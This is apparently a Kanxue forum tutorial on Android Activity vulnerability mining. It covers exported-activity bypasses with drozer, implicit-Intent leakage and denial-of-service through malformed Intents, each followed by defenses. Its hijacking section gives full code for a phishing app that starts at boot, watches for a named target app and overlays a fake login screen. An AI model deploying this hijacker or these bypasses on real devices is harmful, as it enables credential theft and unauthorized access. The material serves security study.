Android APP漏洞之戰——Activity漏洞挖掘詳解

2022-01-02 看雪學苑


本文為看雪論壇精華文章
看雪論壇作者ID:隨風而行aa

最近在總結Android APP漏洞挖掘方面的知識,上篇帖子Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF向大家初步的介紹了Android APP漏洞挖掘過程中常見的工具,這裡也是我平時使用過程中比較常用的三套件,今天我們來逐步學習和復現Android中 Activity漏洞挖掘部分知識,每個漏洞挖掘部分,我們都會選擇具有代表性的樣本案例給大家演示。1.Activity基本介紹在學習Activity的漏洞挖掘之前,我們先對Activity的基本運行原理有一個初步的認識。(1)Intent 調用Activity首先,我們要啟動Activity,完成各個Activity之間的交互,我們需要使用Android中一個重要的組件Intent。
Intent是各個組件之間交互的一種重要方式,它不僅可以指明當前組件想要執行的動作,而且還能在各組件之間傳遞數據。Intent一般可用於啟動Activity、啟動Service、發送廣播等場景。Intent有多個構造函數的重載,Intent(Context packageContext,Class<?> cls)我們構建好一個Intent對象後,只需要使用 startActivity(Intent)來啟動就可以了

Intent一般分為顯式Intent和隱私Intent:
Intent intent = new Intent(MainActivity.class,SecondActivity.class); //實例化Intent對象intent.putExtra("et1",et1Str); //使用putExtra傳遞參數,參數1:鍵名 參數2:鍵對應的值 我們可以使用intent.getStringExtra("et1")獲取傳遞的參數startActivity(intent); //啟動Intent,完成從MainActivity類跳轉到SecondActivity類

隱式Intent並不指明啟動那個Activity而是指定一系列的action和category,然後由系統去分析找到合適的Activity並打開,action和category一般在AndroidManifest中指定。
<activity android:name=".SecondActivity">            <intent-filter>                <action android:name="com.example.test.ACTION_START" />                 <category android:name="android.intent.category.DEFAULT" />            </intent-filter> </activity>

只有<action>和<category>中的內容能夠匹配上Intent中指定的action和category時,這個活動才能響應Intent。
Intent intent = Intent("com.example.test.ACTION_START");startActivity(intent);

我們這裡只傳入了ACTION_START,這是因為android.intent.category.DEFAULT是一種默認的category,在調用startActivity()時會自動將這個category添加到Intent中,注意:Intent中只能添加一個action,但是可以添加多個category。對於含多個category情況,我們可以使用addCategory()方法來添加一個category。
intent.addCategory("com.example.test.MY_CATEGORY");

Intent intent = new Intent(Intent.ACTION_VIEW);intent.setData(Uri.parse("https://www.baidu.com"));startActivity(intent);

Intent.ACTION_VIEW是系統內置的動作,然後將https://www.baidu.com通過Uri.parse()轉換成Uri對象,傳遞給intent.setData(Uri uri)函數。與此對應,我們在<intent-filter>中配置<data>標籤,用於更加精確指定當前活動能夠響應什麼類型的數據:
android:scheme:用於指定數據的協議部分,如httpsandroid:host:用於指定數據的主機名部分,如www.baidu.comandroid:port:用於指定數據的埠,一般緊隨主機名後android:path:用於指定數據的路徑android:mimeType:用於指定支持的數據類型

只有當<data>標籤中指定的內容和Intent中攜帶的data完全一致時,當前Activity才能響應該Intent。下面我們通過設置data,讓它也能響應打開網頁的Intent。
<activity android:name=".SecondActivity">            <intent-filter>                <action android:name="com.example.test.action.VIEW" />                 <category android:name="android.intent.category.DEFAULT" />                <data android:scheme="http">            </intent-filter> </activity>

我們就能通過隱式Intent的方法打開外部Activity。
Intent intent = new Intent(Intent.ACTION_VIEW);intent.setData(Uri.parse("https://www.baidu.com"));startActivity(intent);


(2)Activity中傳遞數據
Intent intent = new Intent(MainActivity.class,SecondActivity.class);intent.putExtra("et1",et1Str);startActivity(intent);

Intent intent = getIntent();String data = intent.getStringExtra("et1");

Android 在返回一個活動可以通過Back鍵,也可以使用startActivityForResult()方法來啟動活動,該方法在活動銷毀時能返回一個結果給上一個活動。
Intent intent = new Intent(MainActivity.class,SecondActivity.class);startActivityForResult(intent,1); //參數1:Intent  參數2:請求碼,用於之後回調中判斷數據來源

Intent intent = new Intent();intent.putExtra("data",data);setResult(RESULT_OK,intent);  finish();  

當活動銷毀後,就會回調到上一個活動,所以我們需要在MainActivity中接收。
@Override   protected void onActivityResult(int requestCode, int resultCode,  Intent data) {         super.onActivityResult(requestCode, resultCode, data);       switch (requestCode){           case  1:               if(requestCode == RESULT_OK){                   String returnData =data.getStringExtra("data");               }               break;           default:       }   }

如果我們要實現Back返回MainActivity,我們需要在SecondActivity中重寫onBackPressed()方法。
@Override  public void onBackPressed() {      super.onBackPressed();      Intent intent = new Intent();      intent.putExtra("data","data");      setResult(RESULT_OK,intent);      finish();  }


(3)Activity的生命周期Activity類中定義了7個回調方法,覆蓋了Activity聲明周期的每一個環節:
onCreate():在Activity第一次創建時調用onStart():在Activity可見但是沒有焦點時調用onResume():在Activity可見並且有焦點時調用onPause():這個方法會在準備啟動或者恢復另一個Activity時調用,我們通常在該方法中釋放消耗CPU的資源或者保存數據,但在該方法內不能做耗時操作,否則影響另一個另一個Activity的啟動或恢復。onStop():在Activity不可見時調用,它和onPause主要區別就是:onPause在失去焦點時會調用但是依然可見,而onStop是完全不可見。onDestory():在Activity被銷毀前調用onRestart():在Activity由不在棧頂到再次回到棧頂並且可見時調用。

我們可以將活動分為3中生存期: (1)完整生存期:活動在onCreate()和onDestroy()方法之間所經歷的,從開始初始化到完成釋放內存 (2)可見生存期:活動在onStart()和onStop()方法之間所經歷的,主要包括資源的加載和資源的釋放 (3)前臺生存期:活動在onResume()方法和onPause()方法之間所經歷的,主要是Activity的運行


(4)Activity的啟動模式我們這裡之所以要介紹Activity的啟動模式,是因為Activity界面劫持就是根據Activity的運行特點所實現的。Activity一共有四種啟動模式:standard模式、singleTop模式、singleTask模式、singleInstance模式。下面我們簡單介紹一下:如果不顯示指定啟動模式,那麼Activity的啟動模式就是standard,在該模式下不管Activity棧中有無Activity,均會創建一個新的Activity併入棧,並處於棧頂的位置。
(1)啟動一個Activity,這個Activity位於棧頂,則不會重新創建Activity,而直接使用,此時也不會調用Activity的onCreate(),因為並沒有重新創建Activity     Activity生命周期:    onPause>onNewIntent->onResume    這個過程中調用了 onNewIntent(intent: Intent?),我們可以在該函數中通過Intent獲取新傳遞過來的數據,因為此時數據可能已經發生變化 (2) 要啟動的Activity不在棧頂,那麼啟動該Activity就會重新創建一個新的Activity併入棧,此時棧中就有2個Activity的實例了

如果準備啟動的ActivityA的啟動模式為singleTask的話,那麼會先從棧中查找是否存在ActivityA的實例:場景一、如果存在則將ActivityA之上的Activity都出棧,並調用ActivityA的onNewIntent()       ActivityA啟動ActivityB,然後啟動ActivityA,此時生命周期過程:       ActivityB onPause>ActivityA(onRestart--->onStart--->onNewIntent--->onResume)---->ActivityB(onStop--->onDestroy) 場景二、如果ActivityA位於棧頂,則直接使用並調用onNewInent(),此時和singleTop一樣       ActivityA啟動ActivityA,此時生命周期過程:       ActivityA(onPause--->onNewIntent--->onResume) 場景三、 如果棧中不存在ActivityA的實例則會創建一個新的Activity併入棧。       ActivityA啟動ActivityB,此時生命周期過程:       ActivityA(onCreate--->onStart--->onResume)

指定singleInstance模式的Activity會啟動一個新的返回棧來管理這個Activity(其實如果singleTask模式指定了不同的taskAffinity,也會啟動一個新的返回棧我們可以通過這種模式去實現其他程序和我們程序能共享這個Activity實例,在這種模式下,會有一個單獨的返回棧來管理這個Activity,無論哪個應用程式來訪問這個Activity,都在同一個返回棧中,也就解決了共享Activity實例的問題


2.Activity 漏洞種類和危害我們在上文中詳細介紹了Activity的運行原理,接下來我們了解一些Activity的漏洞種類和應用的安全場景。(1)Activity的漏洞種類(2)Activity安全場景和危害

Activity的組件導出,一般會導致的問題:Android Browser Intent Scheme URLs的攻擊手段(1)拒絕服務攻擊:通過Intent給Activity傳輸畸形數據使得程序崩潰從而影響用戶體驗(2)越權攻擊:Activity用戶界面繞過會造成用戶信息竊取、Activity界面被劫持產生欺詐等安全事件(3)組件導出導致釣魚欺詐(4)隱式啟動intent包含敏感數據


1、越權繞過(1)原理介紹
在Android系統中,Activity默認是不導出的,如果設置了exported = "true" 這樣的關鍵值或者是添加了<intent-filter>這樣的屬性,那麼此時Activity是導出的,就會導致越權繞過或者是洩露敏感信息等安全風險。例如:(1)一些敏感的界面需要用戶輸入密碼才能查看,如果沒有對調用此Activity的組件進行權限驗證,就會造成驗證的越權問題,導致攻擊者不需要密碼就可以打開(2)通過Intent給Activity傳輸畸形數據使得程序崩潰拒絕服務(3)對Activity界面進行劫持


(2)漏洞復現首先,我們需要配置drozer的基本環境,具體配置操作,參考:Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF(https://bbs.pediy.com/thread-269196.htm)
adb forward tcp:31415 tcp:31415drozer console connect

我們嘗試使用drozer去越權繞過該界面,首先,我們先列出程序中所有的APP 包:‍我們通過查詢欄位,可以快速定位到sieve的包名。
run app.package.attacksurface com.mwr.example.sieve

我們可以看出,有三個activity是被導出的,我們再具體查詢暴露activity的信息。
run app.activity.info -a  com.mwr.example.sieve

說明我們可以通過強制跳轉其他兩個界面,來實現越權繞過。
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

(3)防護策略
防護策略:(1)私有Activity不應被其他應用啟動相對是安全的,創建activity時:設置exported屬性為false(2)公開暴露的Activity組件,可以被任意應用啟動,創建Activity:設置export屬性為true,謹慎處理接收的Intent,有返回數據不包含敏感信息,不應發送敏感信息,收到返回數據謹慎處理


2、釣魚欺詐/Activity劫持
(1)原理介紹
原理介紹:(1)Android APP中不同界面的切換通過Activity的調度來實現,而Acticity的調度是由Android系統中的AMS來實現。每個應用想啟動或停止一個進程,都報告給AMS,AMS收到啟動或停止Activity的消息時,先更新內部記錄,再通知相應的進程或停止指定的Activity。當新的Activity啟動,前一個Activity就會停止,這些Activity會保留在系統中的一個Activity歷史棧中。每有一個Activity啟動,它就壓入歷史棧頂,並在手機上顯示。當用戶按下back,頂部的Activity彈出,恢復前一個Activity,棧頂指向當前的Activity。(2)由於Activity的這種特性,如果在啟動一個Activity時,給它加入一個標誌位FLAGACTIVITYNEW_TASK,就能使它置於棧頂並立馬呈現給用戶,如果這個Activity是用於盜號的偽裝Activity,就會產生釣魚安全事件或者一個Activity中有webview加載,允許加載任意網頁都有可能產生釣魚事件。 實現原理:如果我們註冊一個receiver,響應android.intent.action.BOOT_COMPLETED,使得開啟啟動一個service;這個service,會啟動一個計時器,不停枚舉當前進程中是否有預設的進程啟動,如果發現有預設進程,則使用FLAG_ACTIVITY_NEW_TASK啟動自己的釣魚界面,截獲正常應用的登錄憑證 實現步驟:(1)啟動一個服務(2)不斷掃描當前進程(3)找到目標後彈出偽裝窗口

(2)漏洞復現在進行Android 界面劫持過程中,我發現根據Android版本的變化情況,目前不同Android版本實現的功能代碼有一定的差異性,再經過多次的學習和總結後,我復現而且改進了針對Android 6.0界面劫持的功能代碼,並對不同版本的頁面劫持做了一個初步的總結,下面是具體實驗的詳細過程:首先我們新建一個服務類HijackingService.class,然後在MainActivity裡面啟動這個服務類:
public class MainActivity extends AppCompatActivity {     @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_main);        Intent intent2 = new Intent(this,HijackingService.class);        startService(intent2);        Log.w("hijacking","activity啟動用來劫持的Service");    }}

我們可以看到程序一旦啟動,就會啟動HijackingService.class。然後我們編寫一個HijackingApplication類,主要負責添加劫持類別,清除劫持類別,判斷是否已經劫持。
public class HijackingApplication{     private static List<String> hijackings = new ArrayList();      public static void addProgressHijacked(String paramString){           hijackings.add(paramString);     }      public static void clearProgressHijacked(){              hijackings.clear();     }      public static boolean hasProgressBeHijacked(String paramString){           return hijackings.contains(paramString);     } }

說明:這個類的主要功能是,保存已經劫持過的包名,防止我們多次劫持增加暴露風險。
public class HijackingReciver extends BroadcastReceiver {    @Override    public void onReceive(Context context, Intent intent) {        if(intent.getAction().equals("android.intent.action.BOOT_COMPLETED")){            Log.w("hijacking","開機啟動");            Intent intent2 = new Intent(context,HijackingService.class);            context.startService(intent2);            Log.w("hijacking","啟動用來劫持的Service");        }     }}

然後我們編寫劫持類 HijackingService.class。
private boolean hasStart = false;    private boolean isStart;    HashMap<String, Class<?>> map = new HashMap<String, Class<?>>();        Handler handler = new Handler();    Runnable mTask = new Runnable() {        @Override        public void run() {            Log.w("TAG","ABC");            int i =1;                                                                   List<AndroidAppProcess> Processes = AndroidProcesses.getRunningAppProcesses();            Log.w("hijacking", "=================正在枚舉進程=======================");                        for( AndroidAppProcess appProcessInfo: Processes){                Log.w("TAG",appProcessInfo.name);                                 String ProcessesRunning = ForegroundProcess.getForegroundApp();                Log.w("TAG============",ProcessesRunning);                if(map.containsKey(ProcessesRunning)) {                                                            if (map.containsKey(appProcessInfo.name)) {                        Log.w("準備劫持", appProcessInfo.name);                        hijacking(appProcessInfo.name);                    } else {                                                                    }                }             }            handler.postDelayed(mTask,8000);        }        private void hijacking(String progressName){                        if(!HijackingApplicaiton.hasProgressBeHijacked(progressName)){                Intent localIntent = new Intent(HijackingService.this.getBaseContext(),HijackingService.this.map.get(progressName));                localIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);                HijackingService.this.getApplication().startActivity(localIntent);                HijackingApplicaiton.addProgressHijacked(progressName);                Log.w("TAG====hijacking","已經劫持成功");            }        }    };     @Override    public void onCreate() {        super.onCreate();        if(!isStart){            map.put("com.cz.babySister",SecondActivity.class);            this.handler.postDelayed(this.mTask, 1000);            isStart = true;        }     }     @Override    public IBinder onBind(Intent intent) {                throw new UnsupportedOperationException("Not yet implemented");    }     @Override    public  boolean stopService(Intent name){        hasStart = false;        Log.w("TAG====hijacking","劫持服務停止");        HijackingApplicaiton.clearProgressHijacked();        return super.stopService(name);    }

我們編寫劫持類中,最關鍵的就是如何獲取當前的前臺進程和遍歷正在運行的進程,這也是Android版本更新後,導致不同版本劫持差異的主要原因,對這裡我做了一個初步的總結:
注意:    (1)我們實現界面劫持,主要是根據Android Activity設計的漏洞,而這就會涉及對ActivityManager的掌握       網址:https:    (2)Android 獲取當前的Activity,因為Android版本不同而具備一定差異性        1)Android 5.0之前可以使用getRunningTasks,該方法可以獲得在前臺運行的系統進程       2)Android 5.0-6.0 getRunningTasks失效,可以使用getRunningAppProcesses方法暫時替代       3)Android 6.0以上 getRunningAppProcess也失效了,系統關閉了三方軟體對系統進程的訪問            目前的方法:            1.使用國外大佬的代碼 AndroidProcesses            參考網址:https:                       https:                       https:            2.使用第三方開源庫:libsuperuser            使用文章:https:            開源網址:https:            第三種方法主要是利用Google 應用程式可以訪問 /proc/            https:       4)我們發現使用這兩種方法都只能列出進程列表,並不能獲取正在運行的進程,我們需要進一步過濾            參考網址:https:                       https:            如何判斷Android包名獲取進程是否存活:https:            如何查看前臺進程的六種方法:https:

public class ForegroundProcess {    public static final int AID_APP = 10000;    public static final int AID_USER = 100000;     public static String getForegroundApp() {        File[] files = new File("/proc").listFiles();        int lowestOomScore = Integer.MAX_VALUE;        String foregroundProcess = null;        for (File file : files) {            if (!file.isDirectory()) {                continue;            }            int pid;             try {                pid = Integer.parseInt(file.getName());            } catch (NumberFormatException e) {                continue;            }             try {                String cgroup = read(String.format("/proc/%d/cgroup", pid));                String[] lines = cgroup.split("\n");                String cpuSubsystem;                String cpuaccctSubsystem;                 if (lines.length == 2) {                    cpuSubsystem = lines[0];                    cpuaccctSubsystem = lines[1];                } else if (lines.length == 3) {                    cpuSubsystem = lines[0];                    cpuaccctSubsystem = lines[2];                } else {                    continue;                }                 if (!cpuaccctSubsystem.endsWith(Integer.toString(pid))) {                                        continue;                }                if (cpuSubsystem.endsWith("bg_non_interactive")) {                                        continue;                }                 String cmdline = read(String.format("/proc/%d/cmdline", pid));                if (cmdline.contains("com.android.systemui")) {                    continue;                }                int uid = Integer.parseInt(cpuaccctSubsystem.split(":")[2]                        .split("/")[1].replace("uid_", ""));                if (uid >= 1000 && uid <= 1038) {                                        continue;                }                int appId = uid - AID_APP;                int userId = 0;                                                 while (appId > AID_USER) {                    appId -= AID_USER;                    userId++;                }                 if (appId < 0) {                    continue;                }                                                                File oomScoreAdj = new File(String.format(                        "/proc/%d/oom_score_adj", pid));                if (oomScoreAdj.canRead()) {                    int oomAdj = Integer.parseInt(read(oomScoreAdj                            .getAbsolutePath()));                    if (oomAdj != 0) {                        continue;                    }                }                int oomscore = Integer.parseInt(read(String.format(                        "/proc/%d/oom_score", pid)));                if (oomscore < lowestOomScore) {                    lowestOomScore = oomscore;                    foregroundProcess = cmdline;                }            } catch (IOException e) {                e.printStackTrace();            }        }        return foregroundProcess;     }     private static String read(String path) throws IOException {        StringBuilder output = new StringBuilder();        BufferedReader reader = new BufferedReader(new FileReader(path));        output.append(reader.readLine());         for (String line = reader.readLine(); line != null; line = reader                .readLine()) {            output.append('\n').append(line);        }        reader.close();        return output.toString().trim();    } }

public class SecondActivity extends AppCompatActivity {    private static Boolean flag ;    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_second);        Log.w("TAGSecod","切換");        EditText name = findViewById(R.id.editTextTextPersonName);        EditText passward = findViewById(R.id.editTextTextPassword);        Button button = findViewById(R.id.button);            button.setOnClickListener(new View.OnClickListener() {                @Override                public void onClick(View v) {                    Log.w("TAG", "成功劫持進入該界面");                    flag =false;                }            });     }}

<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"    package="com.example.activityhajacker">     <uses-permission android:name="android.permission.INTERNET" />    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />     <application        android:allowBackup="true"        android:icon="@mipmap/ic_launcher"        android:label="@string/app_name"        android:roundIcon="@mipmap/ic_launcher_round"        android:supportsRtl="true"        android:theme="@style/Theme.ActivityHajacker">        <activity android:name=".SecondActivity"></activity>         <service            android:name=".HijackingService"            android:enabled="true"            android:exported="true" />         <activity android:name=".MainActivity">            <intent-filter>                <action android:name="android.intent.action.MAIN" />                 <category android:name="android.intent.category.LAUNCHER" />            </intent-filter>        </activity>         <receiver            android:name=".HijackingReciver"            android:enabled="true">            <intent-filter>                <action android:name="android.intent.action.BOOT_COMPLETED" />            </intent-filter>        </receiver>    </application> </manifest>

我們需要將服務的時間設置成6秒,避免程序界面還未加載就劫持了。等待5秒,然後劫持成功,這個時間我們可以在代碼段調整:這樣我們成功完成了對目標程序劫持,這裡我只編寫了一個簡易的界面,大家可以編寫更加複雜的界面,這主要是針對Android 6.0平臺的劫持,各位也可以試試其他版本的平臺。(3)安全防護
如果真的爆發了這種惡意程序,我們並不能在啟動程序時每一次都那麼小心去查看判斷當前在運行的是哪一個程序,當android:noHistory="true"時上面的方法也無效目前,對activity劫持的防護,只能是適當給用戶警示信息。一些簡單的防護手段就是顯示當前運行的進程提示框。梆梆加固則是在進程切換的時候給出提示,並使用白名單過濾。參考網址:https://blog.csdn.net/ruingman/article/details/51146152          http://blog.chinaunix.net/uid-16728139-id-4962659.html          https://blog.csdn.net/u012195899/article/details/70172241?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-9.essearch_pc_relevant&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-9.essearch_pc_relevant


3、隱私啟動Intent包含敏感數據
(1)原理介紹
1.背景知識:Intent可分為隱私(implicitly)和顯式(explicitly)兩種(1)顯式Intent:即在構造Intent對象時就指定接收者,它一般用在知道目標組件名稱的前提下,   一般是在相同的應用程式內部實現的,如下:   Intent intent = new Intent(MainActivit.this, NewActivity.class);   startActivity(intent);(2)隱式Intent:即Intent的發送者在構造Intent對象時,並不知道也不關心接收者是誰,有利於降低發送者和接收者之間的耦合,它一般用在沒有明確指出目標組件名稱的1前提下,一般是用於不同應用程式之間,如下:    Intent intent = new Intent();    intent.setAction("com.wooyun.test");    startActivity(intent);對於顯式Intent,Android不需要去做解析,因為目標組件已經很明確,Android需要解析的是那些隱式Intent,通過解析,將Intent映射給可以處理此Intent的Activity,IntentReceiver或Service

我們有一個應用A,採用Intent隱式傳遞,它的動作是"X",此時還有一個應用B,動作也是X,我們在啟動的時候,通過Intent隱式傳遞,就會同時彈出兩個界面,我們就不知道到底啟動A還是B

因為現在這種漏洞在Android版本更新後,基本很少出現了,所以這裡就不做復現和安全防護了。4、拒絕服務攻擊(1)原理介紹

原理介紹: Android提供Intent機制來協助應用間的交互和通訊,通過Intent實現對應用中一次操作的動作、動作涉及數據、附加數據進行描述,Android通過Intent的描述,負責找到對應組件,完成調用。 拒絕服務攻擊源於程序沒有對Intent。getXXXExtra()獲取的異常或者畸形數據處理時沒有進行異常捕獲,從而導致攻擊者向應用發送此類空數據、異常或者畸形數據來達到致使該應用crash的目的,我們可以通過intent發送空數據、異常或畸形數據給正常應用,導致其崩潰。本地拒絕服務可以被競爭方利用來攻擊,使得自己的應用崩潰,造成破壞。 危害:拒絕服務漏洞對於鎖屏應用、安全防護類軟體危害是巨大的

提到拒絕服務攻擊,我們就不得不講一下Android外部程序的調用方法:
總結:    1.使用自定義Action    A程序中調用的代碼為:      Intent intent = new Intent();      intent.setAction("com.test.action.PLAYER");                    startActivity(intent);    B程序中的AndroidManifest.xml中啟動Activity的intent-filter    <intent-filter>                  <action android:name="android.intent.action.MAIN" />                   <action android:name="com.test.action.PLAYER" />                   <category android:name="android.intent.category.DEFAULT" />                  <category android:name="android.intent.category.LAUNCHER" />    </intent-filter>     2.使用包類名    A程序中調用的代碼為:     Intent intent = new Intent();     intent.setClassName("com.test", "com.test.Player");//目標程序包名、主進程名     startActivity(intent);    intent.setClassName(arg1,arg2)中arg1是被調用程序B的包名,arg2是B程序中目的activity的完整類名     或者使用ComponentName     Intent intent = new Intent();             ComponentName comp = new ComponentName("com.test", "com.test.Player" ); //目標程序包名、主進程名     intent.setComponent(comp);     startActivity(intent);      B程序被調用中AndroidManifest.xml中啟動Activity的intent-filter不需要特別加入其它信息,如下即可:       <intent-filter>      <action android:name="android.intent.action.MAIN" />      <category android:name="android.intent.category.LAUNCHER" />        </intent-filter>


(2)漏洞復現我們查看一個目標應用的AndroidManifest.xml文件:
<activity android:label="@string/app_name" android:name=".MainLoginActivity" android:excludeFromRecents="true" android:launchMode="singleTask" android:windowSoftInputMode="adjustUnspecified|stateVisible|adjustResize">            <intent-filter>                <action android:name="android.intent.action.MAIN"/>                <category android:name="android.intent.category.LAUNCHER"/>            </intent-filter></activity>

我們編寫一個簡易的APP程序,對目標程序進行拒絕服務攻擊。
Intent intent = new Intent();ComponentName comp = new ComponentName("com.mwr.example.sieve","com.mwr.example.sieve.MainLoginActivity");intent.putExtra("", "");intent.setComponent(comp);startActivity(intent);

當然我們還可以使用我們的神器drozer來進行攻擊。參考網址:http://rui0.cn/archives/30
參考網址https://blog.csdn.net/myboyer/article/details/44940811utm_term=Activity%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1&utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~all~sobaiduweb~default-1-44940811&spm=3001.4430
(3)安全防護
安全防護:    (1)空指針異常、類型轉換異常、數組越界訪問異常、類未定義異常、其它異常    (2)謹慎處理接收的intent以及其攜帶的信息,對接收到的任何數據做try/catch處理,以及對不符合預期數據做異常處理總結:1.不需要被外部調用的activity設置android:exported="false"; 2.若需要外部調用,需自定義signature或者signatureOrSystem級別的權限; 3.註冊的組件請嚴格校驗輸入參數,注意空值判定和類型轉換判斷


寫到這裡,這個帖子總算寫完了,對Android的Activity漏洞挖掘的總結過程中,我又再一次將Android 的Activity組件運行的基本原理熟悉了一遍,學習就是不斷的總結提高把,可能在編寫的過程中,還存在很多不足地方,就請各位大佬指教了。參考網址:
Android 第一行代碼https://www.jianshu.com/p/b999119d2752https://blog.csdn.net/zhangxunxyy/article/details/80805394https://github.com/jaredrummler/AndroidProcesseshttps://jaredrummler.com/2017/09/13/android-processes/https://www.itranslater.com/qa/details/2325835735628252160https://blog.csdn.net/daydayplayphone/article/details/52236148https://github.com/Chainfire/libsuperuserhttps://blog.csdn.net/brycegao321/article/details/76966424https://blog.csdn.net/dq1005/article/details/51453121https://www.jianshu.com/p/f3aea648dfbbhttps://blog.csdn.net/weixin_39352694/article/details/83620517https://github.com/wenmingvs/AndroidProcesshttps://blog.csdn.net/ruingman/article/details/51146152http://blog.chinaunix.net/uid-16728139-id-4962659.html http://rui0.cn/archives/30

看雪ID:隨風而行aa

https://bbs.pediy.com/user-home-905443.htm

*本文由看雪論壇 隨風而行aa 原創,轉載請註明來自看雪社區

相關焦點

  • Android APP漏洞之戰——Broadcast Recevier漏洞詳解
    Broadcast Recevier漏洞挖掘的知識,主要分為兩個部分,一部分對Android 廣播機制原理作一個初步的總結,另一部分便是對Android 廣播機制常見的一些漏洞進行總結,主要是介紹一些已存在的典型漏洞,部分知識可以參考前兩篇帖子:Android APP漏洞之戰(2)——Service漏洞挖掘詳解(https://bbs.pediy.com/thread-269255.htm
  • Android APP漏洞之戰——Content Provider漏洞詳解
    Content Provider漏洞原理分析和復現1、漏洞挖掘方法先檢測組件的exported屬性,再檢測組件permission、readPermission、writePermissio對應的protectionlevel,最後再檢測sdk版本。
  • Android應用邏輯漏洞半自動化挖掘思路
    Chrome瀏覽器的團隊,是Pwn2Own專業戶)發了一篇文章「Automating Pwn2Own with Jandroid」 (https://labs.f-secure.com/blog/automating-pwn2own-with-jandroid/ ),講述如何利用Jandroid實現Android應用邏輯漏洞的半自動化挖掘思路。
  • Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF
    ,對Android APP端漏洞挖掘做了一個基本的梳理總結本節主要是在介紹Android APP漏洞挖掘過程中,使用常見的Android漏洞挖掘工具的安裝和使用辦法,幫助Android漏洞挖掘人員提供便利。
  • Android DropBox SDK漏洞(CVE-2014-8889)分析
    本文介紹了Android Dropbox SDK 1.5.4-1.6.1版本中存在的一個嚴重漏洞(CVE-2014-8889),該漏洞使基於Dropbox SDK的app暴露於嚴重的本地和遠程攻擊。作為概念證明(POC),我們開發了針對包括Microsoft Office Mobile和1Password等流行app的遠程攻擊程序。
  • 【獨家】藍牙App漏洞系列分析之二CVE-2017-0639
    合作團隊:MS509 Team0x01 漏洞簡介Android本月的安全公告,修復了我們發現的另一個藍牙App信息洩露漏洞,該漏洞允許攻擊者獲取 bluetooth用戶所擁有的私有文件,繞過了將應用數據與其他應用隔離的作業系統防護功能。
  • CVE-2019-2234組件暴露漏洞分析
    按漏洞信息描述是暴露了以下組件,其他應用可以無需任何權限就調用它。com.google.android.apps.camera.legacy.app.activity.main.CameraActivity com.android.camera.CameraActivity --> com.google.android.apps.camera.legacy.app.activity.main.CameraActivity com.android.camera.activity.CaptureActivity
  • 在三星Android手機上從Fuzzing漏洞挖掘到RCE漏洞利用
    Google的Project Zero致力於挖掘0-day漏洞並破解各種產品,他們已經在三星的Android Skia圖像處理庫中發現一些堆溢出問題。此漏洞由團隊成員Mateusz Jurczyk發現的。此漏洞使惡意MMS能夠觸發遠程代碼執行,該漏洞是在圖像處理中發生的,圖像處理是在收到簡訊並且由Android的Skia庫處理圖像而沒有用戶交互時發生的。
  • 藍牙App漏洞系列分析(三)——CVE-2017-0645
    ,該漏洞允許手機本地無權限的惡意程序構造一個仿冒的Provider,並獲取Provider所指向文件的讀寫權限,可用於寫SD卡或者藍牙共享資料庫,漏洞詳情如下:該漏洞其實是一個常規的Android組件暴露漏洞,跟我們上一個分析的藍牙漏洞一樣,我們知道在藍牙App中BluetoothOppLauncherActivity是可以被第三方應用啟動的。
  • Android 安全分析和漏洞挖掘|工具集
    Security Toolkit翻譯了其中的Android部分,大家有興趣可以收藏之,以備日後要用。測試工具Appie(https://manifestsecurity.com/appie) – 輕量級的軟體包, 可以用來進行基於Android的滲透測試, 不想使用VM的時候可以嘗試一下.
  • 海豚瀏覽器與水星瀏覽器遠程代碼執行漏洞詳解
    0x01 海豚瀏覽器遠程代碼執行漏洞該漏洞可以看作前段時間三星自帶Swift輸入法遠程代碼漏洞的延伸,不同之處在於通過中間人攻擊patch了so文件,在so文件中的JNI_OnLoad函數中添加惡意代碼,當so被加載後有機會實現遠程代碼執行。此次測試的海豚瀏覽器版本為V11.4.17。1.
  • Android App漏洞學習(一)
    DIVA(Damn insecure and vulnerable App)是一個故意設計的存在很多漏洞的
  • 谷歌三星安卓攝像頭應用含高危漏洞變身監控器,影響數億設備(PoC)
    Google Camera app的導出活動如下,任何其它應用無需具備任何權限均可調用這些活動:com.google.android.apps.camera.legacy.app.activity.main.CameraActivitycom.android.camera.CameraLauncher com.android.camera.CameraActivitycom.android.camera.activity.CaptureActivitycom.android.camera.VideoCameracom.android.camera.CameraImageActivitycom.android.camera.CameraVideoShortcutActivitycom.android.camera.CameraDeepLinkActivitycom.android.camera.SecureCameraActivitycom.google.android.apps.camera.legacy.app.settings.CameraSettingsActivitycom.google.android.apps.camera.legacy.app.refocus.ViewerActivitycom.google.android.apps.camera.photobooth.activity.PhotoboothActivitycom.google.android.libraries.social.licenses.LicenseMenuActivit
  • 智能電視漏洞挖掘初探之從文件系統分析到提權
    後門服務調用分析在某次漏洞挖掘中,在 init.factory.rc(漏洞點已做匿名化處理) 中看到過廠商預留的一個後門服務。$ ls -Z /system/bin/factory_app u:objectr:systemfile:s0 /system/bin/factory_app回到電視的漏洞挖掘中,在這個後門的利用中,由於權限不滿足 SELinux 直接阻止了
  • Android平臺漏洞挖掘與利用
    Rooting App利用各種系統漏洞幫用戶提升權限,也讓Android漏洞在近年來被大量挖掘,利用的手法也不斷演進,同時也促使廠商更注重Android平臺的安全性。在Android平臺上,最底層也是各種權限控制的中樞是Linux內核。Linux內核主體是社群維護的作業系統,也包含了Google、手機廠商、晶片廠商的各種擴展。
  • 藍牙App漏洞系列分析之一CVE-20170601
